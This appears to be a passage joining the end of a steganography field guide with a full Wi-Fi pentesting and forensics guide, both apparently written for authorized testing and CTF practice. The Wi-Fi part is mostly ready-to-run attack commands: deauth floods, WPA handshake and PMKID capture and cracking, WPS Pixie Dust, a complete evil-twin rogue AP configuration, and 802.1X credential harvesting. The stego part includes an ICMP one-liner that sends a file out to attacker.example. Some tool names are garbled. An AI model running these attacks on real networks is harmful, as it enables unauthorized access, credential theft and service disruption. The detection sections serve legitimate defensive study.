<code>pdftotext</code> + inspect	PDF hidden text layers	<code>pdftotext file.pdf -</code>
<code>strings</code>	PDF/office embedded leftovers	<code>strings -n 8 file.pdf</code>
<code>qpdf</code>	Decompress/linearize PDFs for manual inspection	<code>qpdf --qdf --object-streams=disable in.pdf out.qdf</code>

```
# stegsnow - whitespace stego
stegsnow -C -p mypass -m "TOP SECRET" cover.txt stego.txt # hide
stegsnow -C -p mypass stego.txt # extract

# Spot zero-width characters (invisible in editors)
xxd file.txt | grep -E "200b|200c|200d|feff" # ZWSP / ZWNJ / ZWJ / BOM

# Inspect a docx (zip) for hidden content
unzip -l document.docx
unzip -p document.docx word/document.xml | grep -o 'w:color w:val="FFFFFF"' | head
```

6. Network & File-System Steganography (Covert Channels)

Carrier	How it works	Tools
TCP/IP headers	Set unused header bits / ISNs / TTL values to carry data	<code>hidel</code> , <code>pcapSteg</code> , custom Scapy
DNS queries	Encode data in subdomain labels (classic C2 exfil)	<code>dnscat2</code> , <code>iodine</code>
ICMP echo payloads	Data in ping payloads	<code>ptunnel</code> , custom Scapy
NTFS ADS	Alternate Data Streams — <code>file.txt:hidden.txt</code>	<code>echo secret > file.txt:hidden.txt</code>
Slack space	Unused space between file clusters	<code>bmap</code> / custom
TCP timestamps	Encode bits in timestamp fields	custom
HTTP headers/order	Custom headers or header-order encoding	custom

```
# NTFS ADS - Windows hidden stream
echo "secret data" > report.pdf:notes.txt
dir /r report.pdf # list ADS
notepad report.pdf:notes.txt # read it

# Detect ADS on Linux-mounted NTFS (or with 7z/sleuthkit)
# DNS covert channel (both directions)
dnscat2 # server
./dnscat2-client 10.0.0.5 # client - data rides in DNS queries

# ICMP payload exfil (one-shot)
xxd -p secret.txt | while read h; do ping -c1 -p "$h" attacker.example; done
```

Covert channels are the bridge between stego and malware/C2. Attackers hide data in DNS queries and TCP options to bypass egress filtering; DFIR analysts look for anomalous DNS label lengths, TTL anomalies, and non-standard packet payloads (see the network forensics section of the main guide).

7. Cracking Stego Passphrases (Steganalysis by Brute Force)

Tool	What it does	Key command(s)
<code>stegseek</code>	Cracks steghide at ~millions of passphrases/sec (precomputed RS table)	<code>stegseek stego.jpg rockyou.txt</code>
<code>stegcracker</code>	Python wordlist attack against steghide	<code>stegcracker stego.jpg wordlist.txt</code>
<code>hashcat</code> (mode 16511)	JWT/other — not for steghide; use stegseek instead	—
<code>john</code> + <code>steghide2john</code>	Feed steghide-embedded carriers into John	see below

```
# StegSeek – the fast way (also auto-extracts when it finds the key)
stegseek stego.jpg /usr/share/wordlists/rockyou.txt
stegseek stego.jpg wordlist.txt --extract # auto-extract on success

# StegCracker – slower but available anywhere
stegcracker stego.jpg /usr/share/wordlists/rockyou.txt

# John the Ripper route (steghide2john is in John's run/ dir)
steghide2john stego.jpg > carrier.hash
john --wordlist=/usr/share/wordlists/rockyou.txt carrier.hash
```

Stegseek speed tip: it precomputes the steghide RS table, so it's often 100–1000× faster than stegcracker. Always try StegSeek first.

8. Steganalysis — Detection & Forensics

Detection ladder (from cheap to expensive)

1. **Suspicion:** file size anomalies (JPEG with huge file size), odd modification times, a file that “doesn’t fit” the folder.
2. **Signatures:** `strings`, `binwalk`, `foremost`, `exiftool` — appended data, embedded archives, metadata stashes.
3. **Structural:** `pngcheck`, `xxd` for `FF D9` (JPEG EOI) followed by data; palette anomalies in GIF.
4. **Visual:** stegsolve bit-plane inspection (LSB noise = stego), ELA (JPEG tampering), spectrogram (audio).

5. **Statistical:** stegdetect (JSteg/OutGuess/JPHide/F5), chi-square attack, histogram analysis.
6. **Comparative:** original vs suspect carrier — diff the bytes (`cmp -l`), compare hash + size; any change beyond expected recompression is suspicious.
7. **Fingerprinting:** PRNU/sensor noise matching to prove an image came from a specific camera (see photo forensics in the main guide).

Detection tools

Tool	What it does	Key command(s)
<code>strings</code>	Plaintext payload remnants	<code>strings -n 8 suspect.jpg</code>
<code>binwalk</code>	Embedded archives/files	<code>binwalk suspect.jpg</code>
<code>foremost</code>	Carve anything embedded	<code>foremost -i suspect.jpg -o out/</code>
<code>exiftool</code>	Metadata / comment fields	<code>exiftool -a -G1 suspect.jpg</code>
<code>pngcheck</code>	PNG structural anomalies	<code>pngcheck -v suspect.png</code>
<code>xxd</code>	Manual byte inspection	<code>xxd suspect.jpg \ tail -5</code> (look for data after <code>ffd9</code>)
<code>stegdetect</code>	JSteg/OutGuess/JPHide/F5 stats	<code>stegdetect -s 10.0 suspect.jpg</code>
<code>zsteg</code>	LSB/bit-plane detection	<code>zsteg -a suspect.png</code>
<code>stegsolve</code>	Manual bit-plane walking	<code>stegsolve</code>
<code>steghide info</code>	Is it a steghide carrier?	<code>steghide info suspect.jpg</code>
<code>cmp</code> / <code>diff</code>	Compare original vs suspect	<code>cmp -l original.jpg suspect.jpg</code>
<code>audacity</code>	Audio spectrum inspection	<code>audacity suspect.wav</code>
<code>fcrackzip</code> / <code>zip2john</code>	Password-protected embedded zips	<code>zip2john found.zip \ john -wordlist=rockyou.txt -</code>

```
# 1. Size + hash anomaly check
ls -la suspect.jpg; sha256sum original.jpg suspect.jpg

# 2. Appended-data check (JPEG should end with FF D9)
xxd suspect.jpg | tail -3
# if you see text after ff d9 → appended payload; try: dd if=suspect.jpg bs=1 skip=$(grep -abo
    $'\xff\xd9' suspect.jpg | head -1 | cut -d: -f1) 2>/dev/null | strings

# 3. Metadata
exiftool -a -G1 suspect.jpg

# 4. Embedded files
binwalk suspect.jpg && foremost -i suspect.jpg -o carved/

# 5. Statistical JPEG scan
stegdetect -s 10.0 -t jsteg,outguess,jphide,f5 suspect.jpg

# 6. PNG bit-plane analysis
zsteg -a suspect.png

# 7. Audio spectrum
audacity suspect.wav # View → Spectrogram
```

Image steganalysis with Python (Pillow) — LSB plane extraction

```
#!/usr/bin/env python3
# lsb_analyze.py — dump each bit-plane of a PNG to reveal LSB stego
import sys
from PIL import Image

img = Image.open(sys.argv[1]).convert("RGB")
w, h = img.size
pix = img.load()

for plane in range(8): # 8 bit-planes per channel
    out = Image.new("L", (w, h))
    op = out.load()
    for y in range(h):
        for x in range(w):
            r, g, b = pix[x, y]
            bit = (r >> plane) & 1
            op[x, y] = 255 if bit else 0
    out.save(f"plane_{plane}.png")
print("Saved plane_0..7.png — inspect plane_0 for LSB noise patterns")
```

```
python3 lsb_analyze.py suspect.png
# If plane_0.png looks like random static (not natural image noise) → LSB stego
```

9. Full CTF / Investigation Workflow (The “Stego Playbook”)

Order matters — cheap tests first, brute force last:

```

# STEP 0 – recon the file
file mystery.bin
exiftool -a mystery.bin
strings -n 8 mystery.bin | head -50

# STEP 1 – embedded data / archives
binwalk mystery.bin
foremost -i mystery.bin -o carved/

# STEP 2 – image stego
zsteg -a mystery.png           # PNG/BMP
steghide info mystery.jpg      # JPEG/BMP/WAV
outguess -r mystery.jpg out.txt # JPEG
stegdetect -s 10.0 mystery.jpg # JPEG stats

# STEP 3 – visual/plane inspection
stegsolve mystery.png          # walk bit-planes, check "Gray bits" + "Random colour map"

# STEP 4 – audio spectrum (if audio)
ffmpeg -i mystery.wav -lavfi showspectrumpic=s=800x400:s1=1 spec.png
audacity mystery.wav

# STEP 5 – brute force passphrases (steghide carriers)
stegseek mystery.jpg /usr/share/wordlists/rockyou.txt

# STEP 6 – if the payload is encrypted → identify + crack
hashid 'ciphertext'
# ...or feed extracted ciphertext into CyberChef "Magic" for auto-decoding

```

10. Steganography in the Wild (Malware & C2)

Campaign / technique	What it did
Drovorub (Fancy Bear, Linux)	Modules embedded in JPG/PNG images, extracted at runtime, C2 via kernel rootkit
Stego C2 (generic)	PowerShell/macro loaders pull payloads from pixels of a remote image
DNS tunneling	Long random-looking subdomains carrying exfiltrated data (<code>iodine</code> , <code>dnscat2</code>)
Image-based payloads in phishing	Malicious macro decodes bits from a logo image to build the dropper
Stegosploit	JPEG stego delivering browser exploits via <code>data:</code> URIs
Fileless/ADS	Payloads in NTFS Alternate Data Streams to evade AV scanning

DFIR takeaway: when a binary downloads an image and reads pixels, or when DNS queries are unusually long — think stego, not just “malicious download.”

11. Anti-Detection & Limitations (know the trade-offs)

- **Every embedding modifies the carrier.** LSB noise, DCT histogram shifts, file-size growth, and metadata timestamps are all forensic signals.
 - **Lossy recompression destroys LSB stego.** JPEG/MP3 re-encode = payload gone. That's why steghide uses DCT-domain embedding instead.
 - **Capacity vs detectability:** hiding 10 MB in a 100 KB JPEG is detectable by file size alone. Keep payloads < ~5% of carrier for LSB, < ~10% for JPEG DCT.
 - **Stego-passphrase brute force is only viable with weak passphrases.** Strong passphrase + strong crypto = effectively unbreakable; detection is then the only (hard) path.
 - **Digital watermarking** (PRNU, invisible watermarks) is the legitimate commercial cousin — designed to survive tampering, unlike covert stego.
-

12. Practice Resources

1. **Aperi'Solve** (aperisolve.com) — one-stop online stego analysis (zsteg + binwalk + strings + visual planes).
 2. **StegOnline** (stegonline.georgeom.net) — browser-based bit-plane/LSB tools, no install.
 3. **CyberChef** — “Magic” mode auto-detects encoding/XOR/compression of extracted payloads.
 4. **CTF practice:** TryHackMe “Steganography” rooms, Hack The Box forensics boxes, picoCTF forensics challenges, and the classic [canyouhackit](#) / [hacktoday](#) stego sets.
 5. **Build your own corpus:** hide files with steghide/zsteg/wavsteg/mp3stego/stegsnow and practice detecting your own work — the fastest way to learn the statistical signatures.
 6. **Aletheia** (GitHub, open-source) — modern steganalysis framework (LSB, DCT, and image fingerprinting in one tool).
-

Author's note: This guide is dual-use — know how to hide to know how to hunt. All techniques assume authorized testing (CTF labs, your own data, sanctioned assessments). Detection and forensic recovery are the DFIR-relevant half of this discipline.

Wi-Fi Pentesting & Forensics Field Guide

A practical reference for assessing 802.11 networks — reconnaissance, WPA/WPA2/WPA3 attacks, evil twins, client attacks, cracking, and the DFIR side (capture analysis, rogue-AP detection). Companion to the CSI Linux and Steganography guides.

1. Wi-Fi Security Fundamentals (Know the Target)

Protocol generations

Standard	Security	Key exchange	Status
WEP	64/128-bit RC4	Static key, IV reuse	Broken — crackable in minutes
WPA (TKIP)	RC4 + MIC, per-packet key	4-way handshake	Deprecated, practical attacks (MIC bypass, chopchop)
WPA2 (CCMP/AES)	AES-CCMP	4-way handshake (PMK → PTK)	Still dominant; handshake/PMKID attacks
WPA2-Enterprise	802.1X/EAP (PEAP, EAP-TLS, TTLS...)	RADIUS + EAP	Credential harvesting attacks
WPA3-Personal (SAE)	Dragonfly key exchange	SAE (password-authenticated)	Resists offline dictionary <i>in principle</i> ; downgrade/Dragonblood issues
WPA3-Enterprise	192-bit mode	EAP-TLS (strong crypto)	Much harder

The 4-way handshake (why it matters for cracking)

```
AP (PMK) —ANonce—> Client          PMK = PBKDF2(PSK, SSID, 4096)
AP <—SNonce + MIC— Client          PTK = PRF(PMK, ANonce, SNonce, MACs)
AP —GTK + MIC—> Client
AP <—ACK— Client
```

To crack WPA2-PSK offline you need **PMK = PBKDF2(password, SSID, 4096)** — derived per-SSID, so the **SSID is part of the key**. Wrong SSID = wrong PMK = no crack.

Attack surface map

Goal	Attack	Requirement
Get PSK	Handshake capture + offline crack	Client or AP activity (or deauth to force it)

Goal	Attack	Requirement
Get PSK (no clients)	PMKID attack	AP must support roaming (PMKID in RSN IE)
Get PSK (weak WPS)	WPS PIN / Pixie Dust	WPS enabled
Get creds	Evil twin / rogue AP	Client connects to your AP
Get Enterprise creds	hostapd-wpe / Karma / EAP downgrade	802.1X network + victim user
Disrupt	Deauth / disassoc floods	Client MAC (or broadcast)
Track/Map	Wardriving, probe sniffing	Monitor mode

2. Hardware & Environment Setup

Adapter requirements

- **Must support monitor mode + packet injection.** Built-in laptop cards (Intel) usually can't inject or have limited support.
- **Reliable USB classics (cheap, well-supported):**
 - **Atheros AR9271** (e.g. TP-Link TL-WN722N v1) — gold standard for Kali
 - **Ralink RT5370** — cheap, works
 - **Realtek RTL8812AU** — dual-band, AC speeds, needs dkms driver ([aircrack-ng](#) fork)
 - **RTL8814AU / RTL8821AU** — dual-band, driver needed
 - **Alfa AWUS036ACH / AWUS1900** — premium dual-band
- **Avoid:** Intel AX200/AX210 (monitor mode is limited/broken for injection), most built-ins.
- **6 GHz (Wi-Fi 6E):** needs an AX210-class card *and* kernel support — but note 6 GHz mandates WPA3 + PMF, so most attacks there are dead anyway.

Kali/Parrot setup

```
# Bring the interface up and check capabilities
iw list | grep -A 20 "Supported interface modes" # must include "monitor"
iwconfig # current mode per interface

# Kill interfering services (NetworkManager etc.)
sudo airmon-ng check kill

# Switch to monitor mode
sudo airmon-ng start wlan0 # creates wlan0mon
iwconfig wlan0mon # verify "Mode:Monitor"

# Unblock RF-killed radios
rfkill list && sudo rfkill unblock all

# Back to managed mode when done
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager
```

Modern-kernel note: on newer kernels you can skip airodump-ng entirely: `sudo ip link set wlan0 down && sudo iw dev wlan0 set type monitor && sudo ip link set wlan0 up` Many hcxtools workflows prefer raw monitor interfaces this way.

3. Reconnaissance & Wardriving

Tool	What it does	Key command(s)
<code>airodump-ng</code>	The core scanner: APs, clients, channels, WPS, vendor	see below
<code>kismet</code>	Long-running wardriving server with GPS, logging, alerts	<code>sudo kismet -c wlan0mon</code> (then open http://localhost:2501)
<code>wash</code>	Dedicated WPS scanner (from reaver)	<code>sudo wash -i wlan0mon</code>
<code>horst</code>	Lightweight TUI spectrum/station analyzer	<code>sudo horst -i wlan0mon</code>
<code>gpsd</code> + <code>kismet</code>	GPS-tagged wardrive logs → KML	<code>sudo gpsd /dev/ttyUSB0</code> + <code>kismet</code>
<code>wigle</code>	Upload/merge wardrive DBs; search Wi-Fi history	wigle.net (web/Android)
<code>airodump-ng --wps</code>	Show WPS state per AP	see below

```
# Full-environment scan
sudo airodump-ng wlan0mon

# Targeted scan of one channel + AP (essential before any attack)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Everything at once: channel, bssid, output prefix, WPS info, vendor, uptime
sudo airodump-ng -c 1,6,11 --band bg --wps --manufacturer --uptime -w wardrive wlan0mon

# Client/AP relationship view (Ctrl+C after a while, then inspect)
# airodump-ng shows clients under each AP – note their MACs for deauth targeting
```

Reading airodump output: - `PWR` — signal (higher/less-negative = closer). - `-1` = out of range. - `#Data` — data frames seen (activity indicator). - `CH` / `MB` — channel / max bitrate. - `ENC/CIPHER/AUTH` — WPA2-CCMP-PSK vs WPA3-SAE vs OPN (open). - `WPS` — locked/unlocked/PBC. - Client table at bottom — associated devices per BSSID.

4. WPA/WPA2-PSK Attacks (The Core)

4a. Handshake capture + offline crack

```
# 1) Capture on the target's channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon

# 2) In a second terminal — force a client to re-authenticate (captures the handshake)
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# -0 = deauth count, -a = AP MAC, -c = client MAC (omit -c for broadcast)

# 3) Back in airodump: watch for "WPA handshake: AA:BB:CC:DD:EE:FF" top-right

# 4) Crack with aircrack-ng
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt cap-01.cap

# 5) Or convert to hashcat format (mode 22000) and use the GPU
hcxpcapngtool cap-01.cap -o hashes.22000
hashcat -m 22000 hashes.22000 /usr/share/wordlists/rockyou.txt
```

4b. PMKID attack (no clients needed)

The AP's roaming cache leaks `PMKID = HMAC-SHA1(PMK, "PMK Name" + BSSID + STA MAC)`. Capture it passively — **works even with zero clients** and doesn't touch the network.

```
# hcxdumpntool — capture PMKIDs + handshakes in one pass (run ~2-5 min)
sudo hcxdumpntool -i wlan0mon -o dump.pcapng --enable_status=1

# Convert everything to hashcat format
hcxpcapngtool dump.pcapng -o hashes.22000

# Crack on GPU (PMKID = 22000; also auto-detects handshakes in same file)
hashcat -m 22000 hashes.22000 /usr/share/wordlists/rockyou.txt

# Verify what you captured
hcxpcapngtool -l dump.pcapng # summary of PMKIDs / handshakes found
```

4c. WPS attacks (PIN brute force + Pixie Dust)

```
# Find WPS-enabled APs
sudo wash -i wlan0mon

# Reaver — PIN brute force (slow; hours if lockout is on)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6

# Reaver Pixie Dust (-K 1) — offline WPS PIN recovery (seconds when vulnerable)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vv

# Bully — alternative WPS tool (better with flaky drivers)
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -d

# After getting the WPS PIN → the AP reveals the PSK directly (reaver prints it)
```

Pixie Dust caveat: exploits poor RNG in older chipsets (many 2011–2016 routers). Modern routers patched it. PIN brute force hits lockouts (after ~3-5 failures the AP locks for minutes) — not viable against

hardened APs.

4d. Automated / scripted suites

Tool	What it does	Key command(s)
wifite	Wrapper: auto-scans, deauths, captures, cracks (WPA/WPS/WEP)	<code>sudo wifite --wpa --dict rockyou.txt</code>
airgeddon	Interactive multi-tool bash script (evil twin, handshake, WPS, etc.)	<code>sudo ./airgeddon.sh</code>
wifu	Offline CTF-focused wrapper around aircrack-ng	wifu (see practice section)
besside-ng	Fully automated handshake/WEP cracker	<code>sudo besside-ng wlan0mon</code>
airolib-ng	Precomputed PMK rainbow tables for fast WPA cracking	<code>airolib-ng db --import passwd words.txt && airolib-ng db --batch</code>
pwnagotchi	Autonomous wardriving/handshake-harvesting bot (fun side project)	flash image, pwnagotchi

```
# Wifite – zero-brainer for labs
sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt --keep-ivs
```

5. WPA3 Attacks

WPA3-Personal (SAE) resists classic offline dictionary attacks — the Dragonfly exchange means no capturable verifier. Attack angles:

Attack	What it is	Viability
Downgrade to WPA2	Rogue AP advertising WPA2 on the same SSID; clients in transition mode connect and leak handshakes	High — most WPA3 APs run WPA2/WPA3 transition mode
Dragonblood (CVE-2019-9494 etc.)	ECC group downgrade, timing side-channel on password guessing, denial-of-service	Patched in 2019-2020; low on updated APs
SAE dictionary (brute)	GPU-cracking SAE is extremely slow; hashcat lacks a practical SAE mode	Not practical as of 2026
Social / evil twin	Phish for the passphrase directly	Always works

```
# Practical approach: force clients onto a WPA2-transition evil twin
# (see section 6 for the evil-twin setup) – capture the WPA2 handshake,
# then crack it normally with hashcat -m 22000.
```

Bottom line: attack WPA3 by attacking its WPA2 transitional mode or its users — not the SAE math.

6. Evil Twin & Rogue AP Attacks

Tool	What it does	Key command(s)
wifiphisher	Automated evil twin + phishing portal (credential capture)	<code>sudo wifiphisher -aI wlan0 -e "FreeWiFi"</code>
fluxion	GUI script: evil twin + handshake capture + phishing	<code>sudo ./fluxion.sh</code> (then menu-driven)
hostapd + dnsmasq	Manual rogue AP (hand-rolled, most controllable)	see below
hostapd-wpe	Rogue AP for Enterprise (802.1X) credential harvesting	see section 7
bettercap	Swiss-army: recon, deauth, evil twin, sniffing	see section 8

```
# Manual evil twin - hostapd.conf
interface=wlan0
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
wpa=2
wpa_passphrase=AnyPasswordWillDo    # clients never check it
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP

# dnsmasq.conf - DNS + DHCP for captive-portal feel
interface=wlan0
dhcp-range=192.168.0.10,192.168.0.100,12h
dhcp-option=3,192.168.0.1
address=/login.com/192.168.0.1

# Run it
sudo hostapd hostapd.conf &
sudo dnsmasq -C dnsmasq.conf --no-daemon &
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080    # portal redirect

# Deauth the real AP so clients hop to yours
sudo aireplay-ng -0 0 -a REAL_AP_MAC wlan0mon    # -0 0 = infinite deauth
```

Karma/known-behavior angle: some tools (bettercap, wifiphisher) can impersonate SSIDs clients are probing for — you don't need to know the SSID, just watch probe requests.

7. WPA2-Enterprise Attacks (802.1X Credential Harvesting)

Tool	What it does	Key command(s)
hostapd-wpe	Rogue AP: captures PEAP/TTLS/LEAP challenge-response + plaintext creds	see below

Tool	What it does	Key command(s)
eaphammer	Modern Enterprise attack framework (PEAP/evil twin, PMKID, etc.)	see below
asleap	Crack captured LEAP/MSCHAPv2 challenge-response offline	asleap -C 11:22:33:44:55:66:77:88 -R aa:bb:cc:dd:ee:ff:gg:hh -W rockyou.txt
bettercap	wifi + net modules for Enterprise-adjacent attacks	bettercap -iface wlan0

```
# hostapd-wpe setup
# /etc/hostapd-wpe/hostapd-wpe.conf → ssid=CorpWiFi, interface=wlan0, driver=nl80211
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Watch /var/log/hostapd-wpe.log – it logs:
# 1) MSCHAPv2 challenge/response (crack with asleap)
# 2) Plaintext credentials from TTLS/PEAP misconfigurations (some clients send them)

# Eaphammer – the modern replacement (evil twin + WPE + PMKID)
git clone https://github.com/s0lst1c3/eaphammer
cd eaphammer && sudo ./kali-setup
sudo ./eaphammer --interface wlan0 --create-new --essid CorpWiFi --wpa-2-enterprise
# Credentials land in the eaphammer output/logs; crack MSCHAPv2 with asleap or hashcat
```

Why it works: most Enterprise networks use PEAP/MSCHAPv2 with “**verify server certificate**” **disabled** — clients accept any AP presenting any cert (or no cert), and happily send the MSCHAPv2 challenge-response, which is crackable offline (asleap, hashcat mode 5500).

8. Client Attacks & Post-Exploitation

Tool	What it does	Key command(s)
aireplay-ng	Deauth/disassoc injection	sudo aireplay-ng -0 10 -a AP -c CLIENT wlan0mon
mdk4	High-rate floods: deauth, beacon, auth, probe (noise generation)	see below
bettercap	Recon/deauth/sniff/pcap on one interface	see below
wireshark / tshark	Inspect traffic once you're on the network	sudo tshark -i wlan0 -Y "http"

```
# mdk4 - deauth flood (all clients of an AP)
sudo mdk4 wlan0mon d -B AA:BB:CC:DD:EE:FF
# mdk4 - beacon flood with random SSIDs
sudo mdk4 wlan0mon b -f ssidlist.txt
# mdk4 - authentication flood (AP DoS)
sudo mdk4 wlan0mon a -i AA:BB:CC:DD:EE:FF

# bettercap - session-based workflow
sudo bettercap -iface wlan0
# (in the session)
wifi.recon on
wifi.show                # APs + clients
wifi.deauth AA:BB:CC:DD:EE:FF # deauth an AP's clients
wifi.assoc AA:BB:CC:DD:EE:FF  # force association (handshake capture)
net.sniff on              # sniff cleartext traffic once connected
```

PMF (802.11w) caveat: with Protected Management Frames, deauth floods don't work against *PMF-capable* clients — the AP drops spoofed deauths. But clients that associate without PMF (older devices, **wpa2** transition) remain vulnerable, and you can still target the **association request** (which isn't protected) or wait for natural handshakes.

9. Wi-Fi Forensics (The DFIR Side)

Capture analysis with tshark

```
# List all APs/beacons in a capture
tshark -r capture.pcapng -Y "wlan.fc.type_subtype == 0x0008" -T fields -e wlan.bssid -e wlan_radio.channel | sort -u

# All EAPOL (4-way handshake) frames - key evidence for cracking/IR
tshark -r capture.pcapng -Y "eapol" -T fields -e frame.time -e wlan.sa -e wlan.da

# Deauth flood detection (type_subtype 0x000c) - DoS/rogue-AP indicator
tshark -r capture.pcapng -Y "wlan.fc.type_subtype == 0x000c" -T fields -e frame.time -e wlan.sa -e wlan.da
tshark -r capture.pcapng -Y "wlan.fc.type_subtype == 0x000c" -q -z io,stat,1 # rate of deauths

# Probe requests - devices looking for known SSIDs (tracking evidence)
tshark -r capture.pcapng -Y "wlan.fc.type_subtype == 0x0004" -T fields -e wlan.sa -e wlan.ssid

# Signal strength per station (radiotap)
tshark -r capture.pcapng -Y "wlan.fc.type == 0" -T fields -e wlan.sa -e radiotap.dbm_antsignal

# Conversations: which stations talked to whom
tshark -r capture.pcapng -q -z conv,wlan

# Pull the handshake out for hashcat
hcxpcapngtool capture.pcapng -o hashes.22000 && hashcat -m 22000 hashes.22000 wordlist.txt
```

Rogue AP detection heuristics

Indicator	What to look for
SSID/BSSID mismatch	Same SSID, different MAC than the known-good AP

Indicator	What to look for
Vendor OUI anomaly	AP claims a name but its MAC OUI is a consumer NIC vendor (e.g., "corp-wifi" on a Realtek OUI)
Deauth flood	Sudden spikes of subtype 0x0c from one MAC (evil-twin setup or DoS)
Beacon anomalies	Non-standard beacon interval (default 100 TU), odd channel, missing RSN IE
Client migration	Clients switching BSSIDs mid-session to a new AP = rogue takeover
Karma behavior	AP answering unknown probe requests = impersonation attempt
Power anomaly	"corp AP" suddenly appearing at extremely high signal from a new location

Wardriving evidence handling

```
# kismet logs → shareable format
sudo kismet -c wlan0mon          # then export .kismet / .pcapng from the web UI
# Import GPS-tagged kismet nets into Google Earth via kismet's KML export,
# or merge into Wigle for longitudinal SSID history.
```

Wireless intrusion detection (defensive)

- **Kismet** (alerting on deauth floods, new APs, probe answering)
- **WIDS**: `horst` for live TUI analysis; commercial WIDS for enterprises
- **Periodic rogue sweeps**: `airodump-ng --wps --manufacturer` against your own SSID list

10. Cracking Reference (hashcat modes)

Mode	Target	Source
22000	WPA/WPA2/WPA3-EAPOL PMKID + handshakes	<code>hcxpcapngtool</code> output
16800	WPA2-PMKID (legacy format)	<code>hcxpmkidtool</code> (old)
2500	WPA/WPA2 handshake (legacy .cap/.hccap)	aircrack-ng capture
5500	NetNTLMv1 (MSCHAPv2 challenge/response from hostapd-wpe)	asleep-style captures
26100	WPA3-PBKDF2-PMKID-EAPOL (experimental, rare)	hcxtools

```
# Unified workflow: capture → convert → crack
sudo hcxdump tool -i wlan0mon -o raw.pcapng --enable_status=1
hcxpcapngtool raw.pcapng -o crack.22000
hashcat -m 22000 -a 0 crack.22000 /usr/share/wordlists/rockyou.txt --show

# Rule-based augmentation (password spraying style)
hashcat -m 22000 -a 0 crack.22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Mask attack: 8 digits
hashcat -m 22000 -a 3 crack.22000 '?d?d?d?d?d?d?d?d'
```

11. Quick-Reference Cheat Table

Task	Tool	One-liner
Enter monitor mode	airmon-ng	sudo airmon-ng start wlan0
Scan environment	airodump-ng	sudo airodump-ng wlan0mon
Targeted capture	airodump-ng	sudo airodump-ng -c 6 --bssid AP -w cap wlan0mon
Force handshake	aireplay-ng	sudo aireplay-ng -0 5 -a AP -c CLIENT wlan0mon
Crack .cap	aircrack-ng	sudo aircrack-ng -w rockyou.txt cap-01.cap
Capture PMKID + handshakes	hcxdump tool	sudo hcxdump tool -i wlan0mon -o dump.pcapng
Convert + crack	hcxpcapngtool + hashcat	hcxpcapngtool dump.pcapng -o h.22000 && hashcat -m 22000 h.22000 rockyou.txt
WPS scan	wash	sudo wash -i wlan0mon
Pixie Dust	reaver	sudo reaver -i wlan0mon -b AP -K 1
Evil twin	wifiphisher	sudo wifiphisher -aI wlan0 -e "FreeWiFi"
Enterprise creds	hostapd-wpe	sudo hostapd-wpe hostapd-wpe.conf
Crack MSCHAPv2	asleap	asleap -C chal -R resp -W rockyou.txt
Deauth flood	mdk4	sudo mdk4 wlan0mon d -B AP
Rogue-AP hunt	tshark	tshark -r cap -Y "wlan.fc.type_subtype == 0x0008"

Task	Tool	One-liner
Deauth evidence	tshark	tshark -r cap -Y "wlan.fc.type_subtype == 0x000c" -q -z io,stat,1

12. Practice Resources

1. **TryHackMe** — “WiFi Hacking 101”, “Intro to Wi-Fi Attacks”, and the WPA/WPA3 rooms (guided, safe, lab-based).
2. **Hack The Box** — Wi-Fi-related forensics boxes and the “Bike” style hardware rooms; plus free Wi-Fi CTF events.
3. **wifu** — a Kali tool purpose-built for Wi-Fi CTF practice (`sudo apt install wifu` ; runs aircrack-ng under the hood against local/lab targets).
4. **Home lab:** 1-2 old routers (WPS era, WPA2), a USB adapter with injection, and rockyou.txt — repeat every attack in this guide against your own gear.
5. **The “Wi-Fi Hacking” certifications** — OSCP (OffSec) is the classic; eLearnSecurity’s eWPTX covers Wi-Fi + web. Both use lab networks you’re authorized to attack.
6. **Forensic practice:** capture your own handshakes/deauths with tshark + hcxdumpool, then run the detection filters in section 9 to learn what legitimate vs malicious traffic looks like.
7. **Reference docs:** aircrack-ng docs (best-practice methodology), hcxtools README (format details), Kismet docs (WIDS alerting), and the Dragonblood paper for WPA3 internals.

Author’s note: All techniques here are for authorized engagements and lab environments — test only networks you own or have written permission to assess. Monitor mode and deauth floods are disruptive; deauthing someone else’s network without authorization is illegal in most jurisdictions. Always confirm the regulatory channel/power rules (FCC/ETSI) for your region before transmitting.